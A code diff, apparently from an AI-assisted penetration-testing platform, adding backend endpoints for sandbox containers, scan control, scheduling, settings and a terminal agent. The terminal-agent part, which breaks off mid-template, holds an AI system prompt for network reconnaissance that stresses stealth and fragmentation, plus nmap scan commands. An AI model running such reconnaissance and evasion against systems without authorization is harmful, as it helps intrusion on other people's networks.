from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
except Exception as e:
|
||||
return {
|
||||
"pool": {
|
||||
"active": 0,
|
||||
"max_concurrent": 0,
|
||||
"image": "neurosploit-kali:latest",
|
||||
"container_ttl_minutes": 60,
|
||||
"docker_available": _docker_available(),
|
||||
},
|
||||
"containers": [],
|
||||
"error": str(e),
|
||||
}
|
||||
|
||||
sandboxes = pool.list_sandboxes()
|
||||
now = datetime.utcnow()
|
||||
|
||||
containers = []
|
||||
for info in sandboxes.values():
|
||||
created = info.get("created_at")
|
||||
uptime = 0.0
|
||||
if created:
|
||||
try:
|
||||
dt = datetime.fromisoformat(created)
|
||||
uptime = (now - dt).total_seconds()
|
||||
except Exception:
|
||||
pass
|
||||
containers.append({
|
||||
**info,
|
||||
"uptime_seconds": uptime,
|
||||
})
|
||||
|
||||
return {
|
||||
"pool": {
|
||||
"active": pool.active_count,
|
||||
"max_concurrent": pool.max_concurrent,
|
||||
"image": pool.image,
|
||||
"container_ttl_minutes": int(pool.container_ttl.total_seconds() / 60),
|
||||
"docker_available": _docker_available(),
|
||||
},
|
||||
"containers": containers,
|
||||
}
|
||||
|
||||
|
||||
@router.get("/{scan_id}")
|
||||
async def get_sandbox(scan_id: str):
|
||||
"""Get health check for a specific sandbox container."""
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
except Exception as e:
|
||||
raise HTTPException(status_code=503, detail=str(e))
|
||||
|
||||
sandboxes = pool.list_sandboxes()
|
||||
if scan_id not in sandboxes:
|
||||
raise HTTPException(status_code=404, detail=f"No sandbox for scan {scan_id}")
|
||||
|
||||
sb = pool._sandboxes.get(scan_id)
|
||||
if not sb:
|
||||
raise HTTPException(status_code=404, detail=f"Sandbox instance not found")
|
||||
|
||||
health = await sb.health_check()
|
||||
return health
|
||||
|
||||
|
||||
@router.delete("/{scan_id}")
|
||||
async def destroy_sandbox(scan_id: str):
|
||||
"""Destroy a specific sandbox container."""
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
except Exception as e:
|
||||
raise HTTPException(status_code=503, detail=str(e))
|
||||
|
||||
sandboxes = pool.list_sandboxes()
|
||||
if scan_id not in sandboxes:
|
||||
raise HTTPException(status_code=404, detail=f"No sandbox for scan {scan_id}")
|
||||
|
||||
await pool.destroy(scan_id)
|
||||
return {"message": f"Sandbox for scan {scan_id} destroyed", "scan_id": scan_id}
|
||||
|
||||
|
||||
@router.post("/cleanup")
|
||||
async def cleanup_expired():
|
||||
"""Remove containers that have exceeded their TTL."""
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
await pool.cleanup_expired()
|
||||
return {"message": "Expired containers cleaned up"}
|
||||
except Exception as e:
|
||||
raise HTTPException(status_code=503, detail=str(e))
|
||||
|
||||
|
||||
@router.post("/cleanup-orphans")
|
||||
async def cleanup_orphans():
|
||||
"""Remove orphan containers not tracked by the pool."""
|
||||
try:
|
||||
from core.container_pool import get_pool
|
||||
pool = get_pool()
|
||||
await pool.cleanup_orphans()
|
||||
return {"message": "Orphan containers cleaned up"}
|
||||
except Exception as e:
|
||||
raise HTTPException(status_code=503, detail=str(e))
|
||||
+204
-3
@@ -4,6 +4,7 @@ NeuroSploit v3 - Scans API Endpoints
|
||||
from typing import List, Optional
|
||||
from datetime import datetime
|
||||
from fastapi import APIRouter, Depends, HTTPException, BackgroundTasks
|
||||
from pydantic import BaseModel
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from sqlalchemy import select, func
|
||||
from urllib.parse import urlparse
|
||||
@@ -11,7 +12,7 @@ from urllib.parse import urlparse
|
||||
from backend.db.database import get_db
|
||||
from backend.models import Scan, Target, Endpoint, Vulnerability
|
||||
from backend.schemas.scan import ScanCreate, ScanUpdate, ScanResponse, ScanListResponse, ScanProgress
|
||||
from backend.services.scan_service import run_scan_task
|
||||
from backend.services.scan_service import run_scan_task, skip_to_phase as _skip_to_phase, PHASE_ORDER
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
@@ -177,6 +178,7 @@ async def start_scan(
|
||||
async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Stop a running scan and save partial results"""
|
||||
from backend.api.websocket import manager as ws_manager
|
||||
from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results
|
||||
|
||||
result = await db.execute(select(Scan).where(Scan.id == scan_id))
|
||||
scan = result.scalar_one_or_none()
|
||||
@@ -184,8 +186,16 @@ async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found")
|
||||
|
||||
if scan.status != "running":
|
||||
raise HTTPException(status_code=400, detail="Scan is not running")
|
||||
if scan.status not in ("running", "paused"):
|
||||
raise HTTPException(status_code=400, detail="Scan is not running or paused")
|
||||
|
||||
# Signal the running agent to stop
|
||||
agent_id = scan_to_agent.get(scan_id)
|
||||
if agent_id and agent_id in agent_instances:
|
||||
agent_instances[agent_id].cancel()
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "stopped"
|
||||
agent_results[agent_id]["phase"] = "stopped"
|
||||
|
||||
# Update scan status
|
||||
scan.status = "stopped"
|
||||
@@ -259,6 +269,132 @@ async def stop_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
}
|
||||
|
||||
|
||||
@router.post("/{scan_id}/pause")
|
||||
async def pause_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Pause a running scan"""
|
||||
from backend.api.websocket import manager as ws_manager
|
||||
from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results
|
||||
|
||||
result = await db.execute(select(Scan).where(Scan.id == scan_id))
|
||||
scan = result.scalar_one_or_none()
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found")
|
||||
|
||||
if scan.status != "running":
|
||||
raise HTTPException(status_code=400, detail="Scan is not running")
|
||||
|
||||
# Signal the agent to pause
|
||||
agent_id = scan_to_agent.get(scan_id)
|
||||
if agent_id and agent_id in agent_instances:
|
||||
agent_instances[agent_id].pause()
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "paused"
|
||||
agent_results[agent_id]["phase"] = "paused"
|
||||
|
||||
scan.status = "paused"
|
||||
scan.current_phase = "paused"
|
||||
await db.commit()
|
||||
|
||||
await ws_manager.broadcast_log(scan_id, "warning", "Scan paused by user")
|
||||
|
||||
return {"message": "Scan paused", "scan_id": scan_id}
|
||||
|
||||
|
||||
@router.post("/{scan_id}/resume")
|
||||
async def resume_scan(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Resume a paused scan"""
|
||||
from backend.api.websocket import manager as ws_manager
|
||||
from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results
|
||||
|
||||
result = await db.execute(select(Scan).where(Scan.id == scan_id))
|
||||
scan = result.scalar_one_or_none()
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found")
|
||||
|
||||
if scan.status != "paused":
|
||||
raise HTTPException(status_code=400, detail="Scan is not paused")
|
||||
|
||||
# Signal the agent to resume
|
||||
agent_id = scan_to_agent.get(scan_id)
|
||||
if agent_id and agent_id in agent_instances:
|
||||
agent_instances[agent_id].resume()
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "running"
|
||||
agent_results[agent_id]["phase"] = "testing"
|
||||
|
||||
scan.status = "running"
|
||||
scan.current_phase = "testing"
|
||||
await db.commit()
|
||||
|
||||
await ws_manager.broadcast_log(scan_id, "info", "Scan resumed by user")
|
||||
|
||||
return {"message": "Scan resumed", "scan_id": scan_id}
|
||||
|
||||
|
||||
@router.post("/{scan_id}/skip-to/{target_phase}")
|
||||
async def skip_to_phase_endpoint(scan_id: str, target_phase: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Skip the current scan phase and jump to a target phase.
|
||||
|
||||
Valid phases: recon, analyzing, testing, completed
|
||||
Can only skip forward (to a phase ahead of current).
|
||||
"""
|
||||
result = await db.execute(select(Scan).where(Scan.id == scan_id))
|
||||
scan = result.scalar_one_or_none()
|
||||
|
||||
if not scan:
|
||||
raise HTTPException(status_code=404, detail="Scan not found")
|
||||
|
||||
if scan.status not in ("running", "paused"):
|
||||
raise HTTPException(status_code=400, detail="Scan is not running or paused")
|
||||
|
||||
# If paused, resume first so the skip can be processed
|
||||
if scan.status == "paused":
|
||||
from backend.api.v1.agent import scan_to_agent, agent_instances, agent_results
|
||||
agent_id = scan_to_agent.get(scan_id)
|
||||
if agent_id and agent_id in agent_instances:
|
||||
agent_instances[agent_id].resume()
|
||||
if agent_id in agent_results:
|
||||
agent_results[agent_id]["status"] = "running"
|
||||
agent_results[agent_id]["phase"] = agent_results[agent_id].get("last_phase", "testing")
|
||||
scan.status = "running"
|
||||
await db.commit()
|
||||
|
||||
if target_phase not in PHASE_ORDER:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"Invalid phase '{target_phase}'. Valid: {', '.join(PHASE_ORDER[1:])}"
|
||||
)
|
||||
|
||||
# Validate forward skip
|
||||
current_idx = PHASE_ORDER.index(scan.current_phase) if scan.current_phase in PHASE_ORDER else 0
|
||||
target_idx = PHASE_ORDER.index(target_phase)
|
||||
|
||||
if target_idx <= current_idx:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail=f"Cannot skip backward. Current: {scan.current_phase}, target: {target_phase}"
|
||||
)
|
||||
|
||||
# Signal the running scan to skip
|
||||
success = _skip_to_phase(scan_id, target_phase)
|
||||
if not success:
|
||||
raise HTTPException(status_code=500, detail="Failed to signal phase skip")
|
||||
|
||||
# Broadcast via WebSocket
|
||||
from backend.api.websocket import manager as ws_manager
|
||||
await ws_manager.broadcast_log(scan_id, "warning", f">> User requested skip to phase: {target_phase}")
|
||||
await ws_manager.broadcast_phase_change(scan_id, f"skipping_to_{target_phase}")
|
||||
|
||||
return {
|
||||
"message": f"Skipping to phase: {target_phase}",
|
||||
"scan_id": scan_id,
|
||||
"from_phase": scan.current_phase,
|
||||
"target_phase": target_phase
|
||||
}
|
||||
|
||||
|
||||
@router.get("/{scan_id}/status", response_model=ScanProgress)
|
||||
async def get_scan_status(scan_id: str, db: AsyncSession = Depends(get_db)):
|
||||
"""Get scan progress and status"""
|
||||
@@ -369,3 +505,68 @@ async def get_scan_vulnerabilities(
|
||||
"page": page,
|
||||
"per_page": per_page
|
||||
}
|
||||
|
||||
|
||||
class ValidationRequest(BaseModel):
|
||||
validation_status: str # "validated" | "false_positive" | "ai_confirmed" | "ai_rejected" | "pending_review"
|
||||
notes: Optional[str] = None
|
||||
|
||||
|
||||
@router.patch("/vulnerabilities/{vuln_id}/validate")
|
||||
async def validate_vulnerability(
|
||||
vuln_id: str,
|
||||
body: ValidationRequest,
|
||||
db: AsyncSession = Depends(get_db)
|
||||
):
|
||||
"""Manually validate or reject a vulnerability finding"""
|
||||
valid_statuses = {"validated", "false_positive", "ai_confirmed", "ai_rejected", "pending_review"}
|
||||
if body.validation_status not in valid_statuses:
|
||||
raise HTTPException(status_code=400, detail=f"Invalid status. Must be one of: {', '.join(valid_statuses)}")
|
||||
|
||||
result = await db.execute(select(Vulnerability).where(Vulnerability.id == vuln_id))
|
||||
vuln = result.scalar_one_or_none()
|
||||
|
||||
if not vuln:
|
||||
raise HTTPException(status_code=404, detail="Vulnerability not found")
|
||||
|
||||
old_status = vuln.validation_status or "ai_confirmed"
|
||||
vuln.validation_status = body.validation_status
|
||||
if body.notes:
|
||||
vuln.ai_rejection_reason = body.notes
|
||||
|
||||
# Update scan severity counts when validation status changes
|
||||
scan_result = await db.execute(select(Scan).where(Scan.id == vuln.scan_id))
|
||||
scan = scan_result.scalar_one_or_none()
|
||||
|
||||
if scan:
|
||||
sev = vuln.severity
|
||||
# If changing from rejected to validated: add to counts
|
||||
if old_status == "ai_rejected" and body.validation_status == "validated":
|
||||
scan.total_vulnerabilities = (scan.total_vulnerabilities or 0) + 1
|
||||
if sev == "critical":
|
||||
scan.critical_count = (scan.critical_count or 0) + 1
|
||||
elif sev == "high":
|
||||
scan.high_count = (scan.high_count or 0) + 1
|
||||
elif sev == "medium":
|
||||
scan.medium_count = (scan.medium_count or 0) + 1
|
||||
elif sev == "low":
|
||||
scan.low_count = (scan.low_count or 0) + 1
|
||||
elif sev == "info":
|
||||
scan.info_count = (scan.info_count or 0) + 1
|
||||
# If changing from confirmed to false_positive: subtract from counts
|
||||
elif old_status in ("ai_confirmed", "validated") and body.validation_status == "false_positive":
|
||||
scan.total_vulnerabilities = max(0, (scan.total_vulnerabilities or 0) - 1)
|
||||
if sev == "critical":
|
||||
scan.critical_count = max(0, (scan.critical_count or 0) - 1)
|
||||
elif sev == "high":
|
||||
scan.high_count = max(0, (scan.high_count or 0) - 1)
|
||||
elif sev == "medium":
|
||||
scan.medium_count = max(0, (scan.medium_count or 0) - 1)
|
||||
elif sev == "low":
|
||||
scan.low_count = max(0, (scan.low_count or 0) - 1)
|
||||
elif sev == "info":
|
||||
scan.info_count = max(0, (scan.info_count or 0) - 1)
|
||||
|
||||
await db.commit()
|
||||
|
||||
return {"message": "Vulnerability validation updated", "vulnerability": vuln.to_dict()}
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
"""
|
||||
NeuroSploit v3 - Scheduler API Router
|
||||
|
||||
CRUD endpoints for managing scheduled scan jobs.
|
||||
"""
|
||||
|
||||
import json
|
||||
from pathlib import Path
|
||||
from fastapi import APIRouter, HTTPException, Request
|
||||
from pydantic import BaseModel
|
||||
from typing import Optional, List, Dict
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
CONFIG_PATH = Path(__file__).parent.parent.parent.parent / "config" / "config.json"
|
||||
|
||||
|
||||
class ScheduleJobRequest(BaseModel):
|
||||
"""Request model for creating a scheduled job."""
|
||||
job_id: str
|
||||
target: str
|
||||
scan_type: str = "quick"
|
||||
cron_expression: Optional[str] = None
|
||||
interval_minutes: Optional[int] = None
|
||||
agent_role: Optional[str] = None
|
||||
llm_profile: Optional[str] = None
|
||||
|
||||
|
||||
class ScheduleJobResponse(BaseModel):
|
||||
"""Response model for a scheduled job."""
|
||||
id: str
|
||||
target: str
|
||||
scan_type: str
|
||||
schedule: str
|
||||
status: str
|
||||
next_run: Optional[str] = None
|
||||
last_run: Optional[str] = None
|
||||
run_count: int = 0
|
||||
|
||||
|
||||
@router.get("/", response_model=List[Dict])
|
||||
async def list_scheduled_jobs(request: Request):
|
||||
"""List all scheduled scan jobs."""
|
||||
scheduler = getattr(request.app.state, 'scheduler', None)
|
||||
if not scheduler:
|
||||
return []
|
||||
return scheduler.list_jobs()
|
||||
|
||||
|
||||
@router.post("/", response_model=Dict)
|
||||
async def create_scheduled_job(job: ScheduleJobRequest, request: Request):
|
||||
"""Create a new scheduled scan job."""
|
||||
scheduler = getattr(request.app.state, 'scheduler', None)
|
||||
if not scheduler:
|
||||
raise HTTPException(status_code=503, detail="Scheduler not available")
|
||||
|
||||
if not job.cron_expression and not job.interval_minutes:
|
||||
raise HTTPException(
|
||||
status_code=400,
|
||||
detail="Either cron_expression or interval_minutes must be provided"
|
||||
)
|
||||
|
||||
result = scheduler.add_job(
|
||||
job_id=job.job_id,
|
||||
target=job.target,
|
||||
scan_type=job.scan_type,
|
||||
cron_expression=job.cron_expression,
|
||||
interval_minutes=job.interval_minutes,
|
||||
agent_role=job.agent_role,
|
||||
llm_profile=job.llm_profile
|
||||
)
|
||||
|
||||
if "error" in result:
|
||||
raise HTTPException(status_code=400, detail=result["error"])
|
||||
|
||||
return result
|
||||
|
||||
|
||||
@router.delete("/{job_id}")
|
||||
async def delete_scheduled_job(job_id: str, request: Request):
|
||||
"""Delete a scheduled scan job."""
|
||||
scheduler = getattr(request.app.state, 'scheduler', None)
|
||||
if not scheduler:
|
||||
raise HTTPException(status_code=503, detail="Scheduler not available")
|
||||
|
||||
success = scheduler.remove_job(job_id)
|
||||
if not success:
|
||||
raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found")
|
||||
|
||||
return {"message": f"Job '{job_id}' deleted", "id": job_id}
|
||||
|
||||
|
||||
@router.post("/{job_id}/pause")
|
||||
async def pause_scheduled_job(job_id: str, request: Request):
|
||||
"""Pause a scheduled scan job."""
|
||||
scheduler = getattr(request.app.state, 'scheduler', None)
|
||||
if not scheduler:
|
||||
raise HTTPException(status_code=503, detail="Scheduler not available")
|
||||
|
||||
success = scheduler.pause_job(job_id)
|
||||
if not success:
|
||||
raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found")
|
||||
|
||||
return {"message": f"Job '{job_id}' paused", "id": job_id, "status": "paused"}
|
||||
|
||||
|
||||
@router.post("/{job_id}/resume")
|
||||
async def resume_scheduled_job(job_id: str, request: Request):
|
||||
"""Resume a paused scheduled scan job."""
|
||||
scheduler = getattr(request.app.state, 'scheduler', None)
|
||||
if not scheduler:
|
||||
raise HTTPException(status_code=503, detail="Scheduler not available")
|
||||
|
||||
success = scheduler.resume_job(job_id)
|
||||
if not success:
|
||||
raise HTTPException(status_code=404, detail=f"Job '{job_id}' not found")
|
||||
|
||||
return {"message": f"Job '{job_id}' resumed", "id": job_id, "status": "active"}
|
||||
|
||||
|
||||
@router.get("/agent-roles", response_model=List[Dict])
|
||||
async def get_agent_roles():
|
||||
"""Return available agent roles from config.json for scheduler dropdown."""
|
||||
try:
|
||||
if not CONFIG_PATH.exists():
|
||||
return []
|
||||
config = json.loads(CONFIG_PATH.read_text())
|
||||
roles = config.get("agent_roles", {})
|
||||
result = []
|
||||
for role_id, role_data in roles.items():
|
||||
if role_data.get("enabled", True):
|
||||
result.append({
|
||||
"id": role_id,
|
||||
"name": role_id.replace("_", " ").title(),
|
||||
"description": role_data.get("description", ""),
|
||||
"tools": role_data.get("tools_allowed", []),
|
||||
})
|
||||
return result
|
||||
except Exception:
|
||||
return []
|
||||
+164
-18
@@ -1,7 +1,10 @@
|
||||
"""
|
||||
NeuroSploit v3 - Settings API Endpoints
|
||||
"""
|
||||
from typing import Optional
|
||||
import os
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import Optional, Dict
|
||||
from fastapi import APIRouter, Depends, HTTPException
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from sqlalchemy import select, delete, text
|
||||
@@ -12,16 +15,69 @@ from backend.models import Scan, Target, Endpoint, Vulnerability, VulnerabilityT
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
# Path to .env file (project root)
|
||||
ENV_FILE_PATH = Path(__file__).parent.parent.parent.parent / ".env"
|
||||
|
||||
|
||||
def _update_env_file(updates: Dict[str, str]) -> bool:
|
||||
"""
|
||||
Update key=value pairs in the .env file without breaking formatting.
|
||||
- If the key exists (even commented out), update its value
|
||||
- If the key doesn't exist, append it
|
||||
- Preserves comments and blank lines
|
||||
"""
|
||||
if not ENV_FILE_PATH.exists():
|
||||
return False
|
||||
|
||||
try:
|
||||
lines = ENV_FILE_PATH.read_text().splitlines()
|
||||
updated_keys = set()
|
||||
|
||||
new_lines = []
|
||||
for line in lines:
|
||||
stripped = line.strip()
|
||||
matched = False
|
||||
|
||||
for key, value in updates.items():
|
||||
# Match: KEY=..., # KEY=..., #KEY=...
|
||||
pattern = rf'^#?\s*{re.escape(key)}\s*='
|
||||
if re.match(pattern, stripped):
|
||||
# Replace with uncommented key=value
|
||||
new_lines.append(f"{key}={value}")
|
||||
updated_keys.add(key)
|
||||
matched = True
|
||||
break
|
||||
|
||||
if not matched:
|
||||
new_lines.append(line)
|
||||
|
||||
# Append any keys that weren't found in existing file
|
||||
for key, value in updates.items():
|
||||
if key not in updated_keys:
|
||||
new_lines.append(f"{key}={value}")
|
||||
|
||||
# Write back with trailing newline
|
||||
ENV_FILE_PATH.write_text("\n".join(new_lines) + "\n")
|
||||
return True
|
||||
except Exception as e:
|
||||
print(f"Warning: Failed to update .env file: {e}")
|
||||
return False
|
||||
|
||||
|
||||
class SettingsUpdate(BaseModel):
|
||||
"""Settings update schema"""
|
||||
llm_provider: Optional[str] = None
|
||||
anthropic_api_key: Optional[str] = None
|
||||
openai_api_key: Optional[str] = None
|
||||
openrouter_api_key: Optional[str] = None
|
||||
max_concurrent_scans: Optional[int] = None
|
||||
aggressive_mode: Optional[bool] = None
|
||||
default_scan_type: Optional[str] = None
|
||||
recon_enabled_by_default: Optional[bool] = None
|
||||
enable_model_routing: Optional[bool] = None
|
||||
enable_knowledge_augmentation: Optional[bool] = None
|
||||
enable_browser_validation: Optional[bool] = None
|
||||
max_output_tokens: Optional[int] = None
|
||||
|
||||
|
||||
class SettingsResponse(BaseModel):
|
||||
@@ -29,56 +85,118 @@ class SettingsResponse(BaseModel):
|
||||
llm_provider: str = "claude"
|
||||
has_anthropic_key: bool = False
|
||||
has_openai_key: bool = False
|
||||
has_openrouter_key: bool = False
|
||||
max_concurrent_scans: int = 3
|
||||
aggressive_mode: bool = False
|
||||
default_scan_type: str = "full"
|
||||
recon_enabled_by_default: bool = True
|
||||
enable_model_routing: bool = False
|
||||
enable_knowledge_augmentation: bool = False
|
||||
enable_browser_validation: bool = False
|
||||
max_output_tokens: Optional[int] = None
|
||||
|
||||
|
||||
# In-memory settings storage (in production, use database or config file)
|
||||
_settings = {
|
||||
"llm_provider": "claude",
|
||||
"anthropic_api_key": "",
|
||||
"openai_api_key": "",
|
||||
"max_concurrent_scans": 3,
|
||||
"aggressive_mode": False,
|
||||
"default_scan_type": "full",
|
||||
"recon_enabled_by_default": True
|
||||
}
|
||||
def _load_settings_from_env() -> dict:
|
||||
"""
|
||||
Load settings from environment variables / .env file on startup.
|
||||
This ensures settings persist across server restarts and browser sessions.
|
||||
"""
|
||||
from dotenv import load_dotenv
|
||||
# Re-read .env file to pick up disk-persisted values
|
||||
if ENV_FILE_PATH.exists():
|
||||
load_dotenv(ENV_FILE_PATH, override=True)
|
||||
|
||||
def _env_bool(key: str, default: bool = False) -> bool:
|
||||
val = os.getenv(key, "").strip().lower()
|
||||
if val in ("true", "1", "yes"):
|
||||
return True
|
||||
if val in ("false", "0", "no"):
|
||||
return False
|
||||
return default
|
||||
|
||||
def _env_int(key: str, default=None):
|
||||
val = os.getenv(key, "").strip()
|
||||
if val:
|
||||
try:
|
||||
return int(val)
|
||||
except ValueError:
|
||||
pass
|
||||
return default
|
||||
|
||||
# Detect provider from which keys are set
|
||||
provider = "claude"
|
||||
if os.getenv("ANTHROPIC_API_KEY"):
|
||||
provider = "claude"
|
||||
elif os.getenv("OPENAI_API_KEY"):
|
||||
provider = "openai"
|
||||
elif os.getenv("OPENROUTER_API_KEY"):
|
||||
provider = "openrouter"
|
||||
|
||||
return {
|
||||
"llm_provider": provider,
|
||||
"anthropic_api_key": os.getenv("ANTHROPIC_API_KEY", ""),
|
||||
"openai_api_key": os.getenv("OPENAI_API_KEY", ""),
|
||||
"openrouter_api_key": os.getenv("OPENROUTER_API_KEY", ""),
|
||||
"max_concurrent_scans": _env_int("MAX_CONCURRENT_SCANS", 3),
|
||||
"aggressive_mode": _env_bool("AGGRESSIVE_MODE", False),
|
||||
"default_scan_type": os.getenv("DEFAULT_SCAN_TYPE", "full"),
|
||||
"recon_enabled_by_default": _env_bool("RECON_ENABLED_BY_DEFAULT", True),
|
||||
"enable_model_routing": _env_bool("ENABLE_MODEL_ROUTING", False),
|
||||
"enable_knowledge_augmentation": _env_bool("ENABLE_KNOWLEDGE_AUGMENTATION", False),
|
||||
"enable_browser_validation": _env_bool("ENABLE_BROWSER_VALIDATION", False),
|
||||
"max_output_tokens": _env_int("MAX_OUTPUT_TOKENS", None),
|
||||
}
|
||||
|
||||
|
||||
# Load settings from .env on module import (server start)
|
||||
_settings = _load_settings_from_env()
|
||||
|
||||
|
||||
@router.get("", response_model=SettingsResponse)
|
||||
async def get_settings():
|
||||
"""Get current settings"""
|
||||
import os
|
||||
return SettingsResponse(
|
||||
llm_provider=_settings["llm_provider"],
|
||||
has_anthropic_key=bool(_settings["anthropic_api_key"]),
|
||||
has_openai_key=bool(_settings["openai_api_key"]),
|
||||
has_anthropic_key=bool(_settings["anthropic_api_key"] or os.getenv("ANTHROPIC_API_KEY")),
|
||||
has_openai_key=bool(_settings["openai_api_key"] or os.getenv("OPENAI_API_KEY")),
|
||||
has_openrouter_key=bool(_settings["openrouter_api_key"] or os.getenv("OPENROUTER_API_KEY")),
|
||||
max_concurrent_scans=_settings["max_concurrent_scans"],
|
||||
aggressive_mode=_settings["aggressive_mode"],
|
||||
default_scan_type=_settings["default_scan_type"],
|
||||
recon_enabled_by_default=_settings["recon_enabled_by_default"]
|
||||
recon_enabled_by_default=_settings["recon_enabled_by_default"],
|
||||
enable_model_routing=_settings["enable_model_routing"],
|
||||
enable_knowledge_augmentation=_settings["enable_knowledge_augmentation"],
|
||||
enable_browser_validation=_settings["enable_browser_validation"],
|
||||
max_output_tokens=_settings["max_output_tokens"]
|
||||
)
|
||||
|
||||
|
||||
@router.put("", response_model=SettingsResponse)
|
||||
async def update_settings(settings_data: SettingsUpdate):
|
||||
"""Update settings"""
|
||||
"""Update settings - persists to memory, env vars, AND .env file"""
|
||||
env_updates: Dict[str, str] = {}
|
||||
|
||||
if settings_data.llm_provider is not None:
|
||||
_settings["llm_provider"] = settings_data.llm_provider
|
||||
|
||||
if settings_data.anthropic_api_key is not None:
|
||||
_settings["anthropic_api_key"] = settings_data.anthropic_api_key
|
||||
# Also update environment variable for LLM calls
|
||||
import os
|
||||
if settings_data.anthropic_api_key:
|
||||
os.environ["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key
|
||||
env_updates["ANTHROPIC_API_KEY"] = settings_data.anthropic_api_key
|
||||
|
||||
if settings_data.openai_api_key is not None:
|
||||
_settings["openai_api_key"] = settings_data.openai_api_key
|
||||
import os
|
||||
if settings_data.openai_api_key:
|
||||
os.environ["OPENAI_API_KEY"] = settings_data.openai_api_key
|
||||
env_updates["OPENAI_API_KEY"] = settings_data.openai_api_key
|
||||
|
||||
if settings_data.openrouter_api_key is not None:
|
||||
_settings["openrouter_api_key"] = settings_data.openrouter_api_key
|
||||
if settings_data.openrouter_api_key:
|
||||
os.environ["OPENROUTER_API_KEY"] = settings_data.openrouter_api_key
|
||||
env_updates["OPENROUTER_API_KEY"] = settings_data.openrouter_api_key
|
||||
|
||||
if settings_data.max_concurrent_scans is not None:
|
||||
_settings["max_concurrent_scans"] = settings_data.max_concurrent_scans
|
||||
@@ -92,6 +210,34 @@ async def update_settings(settings_data: SettingsUpdate):
|
||||
if settings_data.recon_enabled_by_default is not None:
|
||||
_settings["recon_enabled_by_default"] = settings_data.recon_enabled_by_default
|
||||
|
||||
if settings_data.enable_model_routing is not None:
|
||||
_settings["enable_model_routing"] = settings_data.enable_model_routing
|
||||
val = str(settings_data.enable_model_routing).lower()
|
||||
os.environ["ENABLE_MODEL_ROUTING"] = val
|
||||
env_updates["ENABLE_MODEL_ROUTING"] = val
|
||||
|
||||
if settings_data.enable_knowledge_augmentation is not None:
|
||||
_settings["enable_knowledge_augmentation"] = settings_data.enable_knowledge_augmentation
|
||||
val = str(settings_data.enable_knowledge_augmentation).lower()
|
||||
os.environ["ENABLE_KNOWLEDGE_AUGMENTATION"] = val
|
||||
env_updates["ENABLE_KNOWLEDGE_AUGMENTATION"] = val
|
||||
|
||||
if settings_data.enable_browser_validation is not None:
|
||||
_settings["enable_browser_validation"] = settings_data.enable_browser_validation
|
||||
val = str(settings_data.enable_browser_validation).lower()
|
||||
os.environ["ENABLE_BROWSER_VALIDATION"] = val
|
||||
env_updates["ENABLE_BROWSER_VALIDATION"] = val
|
||||
|
||||
if settings_data.max_output_tokens is not None:
|
||||
_settings["max_output_tokens"] = settings_data.max_output_tokens
|
||||
if settings_data.max_output_tokens:
|
||||
os.environ["MAX_OUTPUT_TOKENS"] = str(settings_data.max_output_tokens)
|
||||
env_updates["MAX_OUTPUT_TOKENS"] = str(settings_data.max_output_tokens)
|
||||
|
||||
# Persist to .env file on disk
|
||||
if env_updates:
|
||||
_update_env_file(env_updates)
|
||||
|
||||
return await get_settings()
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,568 @@
|
||||
"""
|
||||
Terminal Agent API - Interactive infrastructure pentesting via AI chat + Docker sandbox.
|
||||
|
||||
Provides session-based terminal interaction with AI-guided command execution,
|
||||
exploitation path tracking, and VPN status monitoring.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import re
|
||||
import time
|
||||
import uuid
|
||||
from datetime import datetime, timezone
|
||||
from typing import Dict, List, Optional
|
||||
|
||||
from fastapi import APIRouter, HTTPException
|
||||
from pydantic import BaseModel
|
||||
|
||||
from core.llm_manager import LLMManager
|
||||
from core.sandbox_manager import get_sandbox
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# In-memory session store
|
||||
# ---------------------------------------------------------------------------
|
||||
terminal_sessions: Dict[str, Dict] = {}
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Pre-built templates
|
||||
# ---------------------------------------------------------------------------
|
||||
TEMPLATES = {
|
||||
"network_scanner": {
|
||||
"name": "Network Scanner",
|
||||
"description": "Host discovery, port scanning, and service detection",
|
||||
"system_prompt": (
|
||||
"You are an expert network reconnaissance specialist. You guide the "
|
||||
"operator through systematic host discovery, port scanning, and service "
|
||||
"fingerprinting. Always suggest nmap flags appropriate for the situation, "
|
||||
"explain output, and recommend next steps based on discovered services. "
|
||||
"Prioritize stealth when asked and suggest timing/fragmentation options."
|
||||
),
|
||||
"initial_commands": [
|
||||
"nmap -sn {target}",
|
||||
"nmap -sV -sC -O -p- {target}",
|
||||
